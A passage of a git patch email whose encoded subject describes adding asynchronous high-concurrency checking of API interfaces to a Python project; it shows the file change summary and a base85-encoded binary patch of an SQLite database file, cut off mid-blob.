From 441cb789df325ca4f145098ccb22ce3c055de013 Mon Sep 17 00:00:00 2001 From: AdminWhaleFall Date: Thu, 12 May 2022 22:56:12 +0800 Subject: [PATCH] =?UTF-8?q?=E2=9C=A8=20feat:=20=E5=BC=82=E6=AD=A5=E7=99=BE?= =?UTF-8?q?=E4=B8=87=E5=B9=B6=E5=8F=91=E6=A0=A1=E9=AA=8C=20GETAPI=20?= =?UTF-8?q?=E4=B8=AD=E7=9A=84=E6=8E=A5=E5=8F=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- debug/__init__.py | 0 debug/api.db | Bin 135168 -> 290816 bytes debug/test-1.py | 451 ---------------------------------------------- handle_api.py | 104 +++++++++++ index.py | 41 ----- utils.py | 59 ------ utils/req.py | 5 +- utils/sql.py | 14 +- 8 files changed, 116 insertions(+), 558 deletions(-) create mode 100644 debug/__init__.py delete mode 100755 debug/test-1.py create mode 100644 handle_api.py delete mode 100755 index.py delete mode 100755 utils.py diff --git a/debug/__init__.py b/debug/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/debug/api.db b/debug/api.db index 3d93b18b9785b076484d5976b1fb08bdecb0c137..8224323dbe7771a57648b6c7a7b5de5a56fb733a 100755 GIT binary patch literal 290816 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 